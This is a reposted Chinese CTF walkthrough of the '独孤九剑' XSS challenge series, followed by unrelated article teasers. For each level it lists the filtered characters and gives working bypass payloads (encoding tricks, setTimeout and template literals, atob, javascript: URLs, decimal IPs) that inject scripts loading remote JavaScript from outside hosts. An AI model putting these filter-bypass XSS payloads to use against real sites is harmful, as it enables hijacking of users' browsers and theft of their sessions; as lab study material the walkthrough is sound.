独孤九剑xss通关教程

news2025/1/17 1:02:20

独孤九剑xss通关教程

独孤九剑第一式:

这里过滤了 =()

构造payload:

?data="><svg><script>%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'

?data=1%22%3E%3Cscript%3Edocument.write` \u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e \u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`%3C/script%3E%3C!--)

解码后就是这样,这里是因为在 svg 下面的 script 可以使用 html 编码,利用 html 编码绕过=() 的过滤

?data=">#with (document)body.appendChild(createElement(‘script’)).src=‘http://127.0.0.1/xss/alert.js’

成功通关

在这里插入图片描述

独孤九剑第二式:

这里过滤了 =(). 新增了.的过滤 利用 setTimeout 以及``代替括号,同时采用\u 编码绕过对()和.的限制

构造payload:

http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076 \u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\ u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029 `;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='ht tp://xcao.vip/xss/alert.js'

成功通关

在这里插入图片描述

独孤九剑第三式:

过滤了 ().&#\ 注意和第二题的不同,放开了=的过滤,新增了&#\的过滤

没有过滤=了,可以直接用 script 加载,然后利用%2e URL 编码绕过对点号的过滤

构造payload:

http://xcao.vip/test/xss3.php?data=%22%3E%3Cscript%20src=http://xcao%252evip/xs s/alert%252ejs%3E%3C/script%3E

成功通关

在这里插入图片描述

独孤九剑第四式:

过滤了 =().&#\

%编码还能用,可以使用 javascript 伪协议+URL 编码的方法,使用 location.replace 方法引入 javascript 协议,由于 location.replace 里面的参数是连接, 里面必然可以使用 URL 编码,因此顺利绕过,把().分别用 %2528 %2529 %252e 编码,因为 location 是 URL,因此后自动解码 URL 编码。

利用iframe标签然后配合base64编码的js加载

构造payload:

http://xcao.vip/test/xss4.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--

成功通关

在这里插入图片描述

独孤九剑第五式:

过滤了 ().&#% 这里和第四题的区别是新增了%的过滤,同时不再过滤=,因为和第三题比较只是多了一个%的过滤,因此沿用第三题的思路,这里想到了一个 IP 十进制的方法,把 IP 地址转换成十进制不就没.了吗。 alert.js 好处理,可以用自己的一个域名跳转到目标域名,自己域名链接不要带.就行

http://xcao.vip/test/xss5.php?data=%22%3E%3Cscript%20src=http://2067398186/xxx% 3E%3C/script%3E 

构造payload: 

http://xcao.vip/test/xss5.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--

成功通关

在这里插入图片描述

独孤九剑第六式:

过滤了 =().&#%

构造payload:

http://xcao.vip/test/xss6.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--

成功通关

在这里插入图片描述

另外的payload:

http://xcao.vip/test/xss6.php?data=%22%3E%3Ciframe%3E%3C/iframe%3E%3Cscript%3Ef rames[0][%22location%22][%22replace%22]`data:text/html;base64,PHNjcmlwdCBzcmM9a HR0cHM6Ly9ldmlsNy5jbi90ZXN0L3hzcy5qcz48L3NjcmlwdD4`%3C/script%3E

成功通关

在这里插入图片描述

独孤九剑第七式:

过滤了 =().&#%<>,输入点在js里

将=,<,>进行ascii编码,有效载荷稍作修改即可

http://xcao.vip/test/xss7.php?data=%22%22;top[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`60`%2b%22iframe%20src%22%2btop[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%22%2btop[%22String%22][%22fromCharCode%22]`62`}`

成功通关

在这里插入图片描述

构造payload:用 hash 保存工具向量

http://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${locat ion['hash']['slice']`1`}```#with(document)body.appendChild(createElement('scrip t')).src='http://xcao.vip/xss/alert.js'

成功通关

在这里插入图片描述

独孤九剑第八式:

过滤了 =().&#%<>’”[],新增’”[]的过滤。

利用 base64

http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3J pcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```

成功通关

在这里插入图片描述

独孤九剑第八-1 式:

过滤了 =().&#%<>’”{},新增{}的过滤。 放开[]的使用权,没有了{}就没法使用 js 模板了,那攻击向量存哪儿呢? Function`name```肯定是不行的 但是别忘了万能的伪协议

base64

http://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjP ScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a` 

成功通关

在这里插入图片描述

独孤九剑第八-2 式:

过滤了 =().&#%<>’”[] Function,相对于第 8 式新增 Function 的过滤(这是不是像极了 struts2 修复漏洞的方式)第八关的解法不能用[]和引号,那么是不是必须要在 window 下面另外找一个方法来替代 Funtion 呢? setTimeout? open? 先看看 open 的参数

window.open(‘page.html’, ‘newwindow’, ‘height=100, width=400, top=0, left=0, to olbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no’)

如果我们能控制第二个参数就可以了,因为可以用

open(“javascript:name”,“img src=x οnerrοr=alert(domain.domain)>”) //请忽略浏览器拦截

这里需要复习一下 js 模板的方法调用

aaaaa${1}bbb${2}ccc

相当于就是,传递了三个参数

[“aaa,bbb,ccc”, “1”, “2”]

因此我们可以构造

openjavascript:name//${atobPGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW 50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjY W8udmlwL3hzcy9hbGVydC5qcyc+}

构造payload

http://xcao.vip//test/xss8-2.php?data=openjavascript:name//${atobPGltZyBzcmM9 eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWV udCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b}

成功通关

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/197995.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开门红,农民大衣哥兔年第一条祝福,为何在百万艺人中选择杨语莲

俗话说&#xff1a;人逢喜事精神爽。这句话用到农民歌唱家大衣哥身上&#xff0c;就再贴切不过了&#xff0c;因为在新年即将来临之际&#xff0c;他的儿子小伟又一次结婚了。大衣哥是一个非常接地气的明星&#xff0c;这些年来他无绯闻不炒作&#xff0c;堪称为娱乐圈的楷模&a…

开学季,送初三学生什么礼物最实用?2023学生护眼台灯分享

春节的新学期即将到来&#xff0c;送给初中孩子什么礼物比较好呢&#xff0c;还是要对学习有所帮助的&#xff0c;还需要培养孩子的兴趣&#xff0c;在挑选礼物时&#xff0c;也是斟酌了很久&#xff0c;面对现在很多孩子的有近视问题&#xff0c;在我国的近视人数达到7亿人&am…

java面试题(十一)IO流篇

2.21 请介绍TreeMap的底层原理 参考答案 TreeMap基于红黑树&#xff08;Red-Black tree&#xff09;实现。映射根据其键的自然顺序进行排序&#xff0c;或者根据创建映射时提供的 Comparator 进行排序&#xff0c;具体取决于使用的构造方法。TreeMap的基本操作containsKey、g…

三维重建——商汤NeuralRecon算法详解与论文解读

论文地址:https://arxiv.org/abs/2104.00681 1.三维重建任务概述 三维重建,就是将2D的图片信息重建为3D的信息。应用领域广泛。可以应用于原型设计、虚拟现实等。 2.三维重建基础 (1) 相机成像 相机成像一般是小孔成像的原理,f就是焦距,o就是光圈;右图为光圈大小对清晰…

【多尺度注意力的轻量化图像超分辨率】

MSAR-Net: Multi-scale attention based light-weight image super-resolution &#xff08;MSAR-Net&#xff1a;基于多尺度注意力的轻量化图像超分辨率&#xff09; 近年来&#xff0c;单幅图像超分辨率&#xff08;SISR&#xff09;技术在视频和图像处理领域得到了广泛的应…

Python基础语法预习,开学查漏补缺

嗨害大家好鸭~我是小熊猫 Python3 基础语法 Python学习资料电子书 点击此处跳转文末名片 编码 默认情况下&#xff0c;Python 3 源码文件以 UTF-8 编码&#xff0c; 所有字符串都是 unicode 字符串。 当然你也可以为源码文件指定不同的编码&#xff1a; # -*- coding: cp-125…

(HR职场)什么是计划能力?如何提高计划能力?

不论是学习还是工作&#xff0c;光靠努力是不行的&#xff0c;还得有计划&#xff0c;有周密的部署&#xff0c;懂得按计划做事情的人&#xff0c;不仅可以高效率地完成工作&#xff0c;还能在枯燥的工作中寻找到乐趣。这就是做计划的意义和必要性。当然光有计划也不行&#xf…

ArcGIS基础:将多个面要素融合成一个多边形面要素操作

操作目标&#xff1a;有多个多边形要素&#xff0c;并且字段属性没有统一的&#xff0c;可以采用以下两种办法融合成一个面要素。 如下所示&#xff0c;是对被选中的高亮数据进行处理的。 下面介绍第一种方法&#xff1a; 保持数据选中状态&#xff0c;找到【地理处理】下的…

Codeforces Round #849 (Div. 4) D Distinct Split

题目&#xff1a;大概翻译&#xff1a;让我们把一个字符串x的f(z)函数表示为该字符串包含的不同字符数。例如&#xff0c;f(abc)3。f(bbbb) 1, 和 f(babacaba) 3. 给定一个字符串s&#xff0c;将其分成两个非空字符串a和b&#xff0c;使f(a)f(b)为最大可能。换句话说&#xf…

2023软考软件设计师易混淆知识点~(7)

将2023上半年软考《软件设计师》易混淆知识点&#xff0c;分享给大家&#xff0c;快来跟着一起打卡学习吧&#xff01;--<<<点击链接加入群聊【软考学习交流群】>>>易混淆点 :对称加密和非对称加密1、对称加密技术:KeKd;加密解密共用一个密钥;特点:加密强度不…

python设计模式-适配器设计模式,装饰器设计模式

适配器设计模式 适配器模式可用作两个不兼容接口之间的桥梁。 这种类型的设计模式属于结构模式&#xff0c;因为此模式结合了两个独立接口的功能。 这种模式涉及一个类&#xff0c;它负责连接独立或不兼容接口的功能。 一个现实的例子是读卡器&#xff0c;它是存储卡和笔记本电…

超多免费API接口分享

分享一下近段时间在网上看的超多免费API接口&#xff0c;赶紧收藏起来吧&#xff01; 一、APISpace 为超过100 万开发者提供专业的 API 服务&#xff0c;包括 API 管理、测试、访问控制等功能&#xff0c;让您无忧探索广阔的API世界~所有接口提供免费试用 https://www.apisp…

【最坏贪心】代码源每日一题div1 排列 2023.02.03

排列 - 题目 - Daimayuan Online Judge今天牛牛完结撒花辣&#xff01;但是我还没补完题&#xff0c;感觉这几场rk都差不多&#xff0c;但是总体来说感觉签到签的有点困难&#xff0c;然后好不容易开到算法题&#xff0c;算法的题也最多只能出一题然后后面这几天除了vpCF&#…

现在都这么拽吗?面试一个工作4年的测试工程师,连自动化基础都搞不清楚,还反过来怼我....

年后招聘黄金期&#xff0c;我们公司也开始大量招人了&#xff0c;我这次是公司招聘的面试官之一&#xff0c;主要负责一些技术上的考核&#xff0c;这段时间还真让我碰到了不少奇葩求职者 昨天公司的HR小席刚跟我吐槽&#xff1a;这几个星期没有哪天不加班的&#xff01;各种…

代码随想录 day55动态规划 回文子串

代码随想录 day55动态规划 回文子串 题647 回文子串 动态规划解法&#xff1a; 1&#xff0c;确定dp数组以及下标的含义 对于绝大多数题目来说&#xff0c;题目求什么dp数组就定义为什么&#xff0c;但此题如果定义&#xff0c;dp[i] 为 下标i结尾的字符串有 dp[i]个回文串的…

【2003NOIP普及组】T3.栈 试题解析

【2003NOIP普及组】T3.栈 试题解析 时间限制: 1000 ms 内存限制: 65536 KB 【题目描述】 栈是计算机中经典的数据结构,简单的说,栈就是限制在一端进行插入删除操作的线性表。 栈有两种最重要的操作,即pop(从栈顶弹出一个元素)和push(将一个元素进栈)。 栈的重要…

对比coco anationtions和coco result的数据保存形式

一、背景 coco anationtions是coco数据集提供的数据标签&#xff0c;coco result是预测的结果的形式&#xff0c;方便用pycocotools计算模型的map等指标。 二、两种数据形式对比 1. coco anationtions的形式 以person_keypoints_val2017.json为例。整体结构如下图 是一个字…

服务器搭建原神私服教程

1. 准备工具这个端在Windows、Linux系统上都可以跑&#xff0c;本次教程基于Linux。准备如下工具服务器1台 centos7 系统 最低配置8核16G 如需公网联机可用云服务器手保证云服务器的443端口未使用&#xff08;服务器上没有网站&#xff09;2. 环境配置安装系统依赖环境yum -y i…

揭密字节跳动薪资职级,资深测试居然能拿......

曾经的互联网是PC的时代&#xff0c;随着智能手机的普及&#xff0c;移动互联网开始飞速崛起。而字节跳动抓住了这波机遇&#xff0c;2015年&#xff0c;字节跳动全面加码短视频&#xff0c;从那以后&#xff0c;抖音成为了字节跳动用户、收入和估值的最大增长引擎。 自从字节逐…

论文阅读_模型鲁棒性的量化指标

论文信息 name_en: Robustness Metrics&#xff1a;How Are They Calculated, When Should They Be Used and Why Do They Give Different Results? name_ch: 鲁棒性度量&#xff1a;它们是如何计算的&#xff0c;何时应该使用以及为什么会给出不同的结果? addr: http://doi…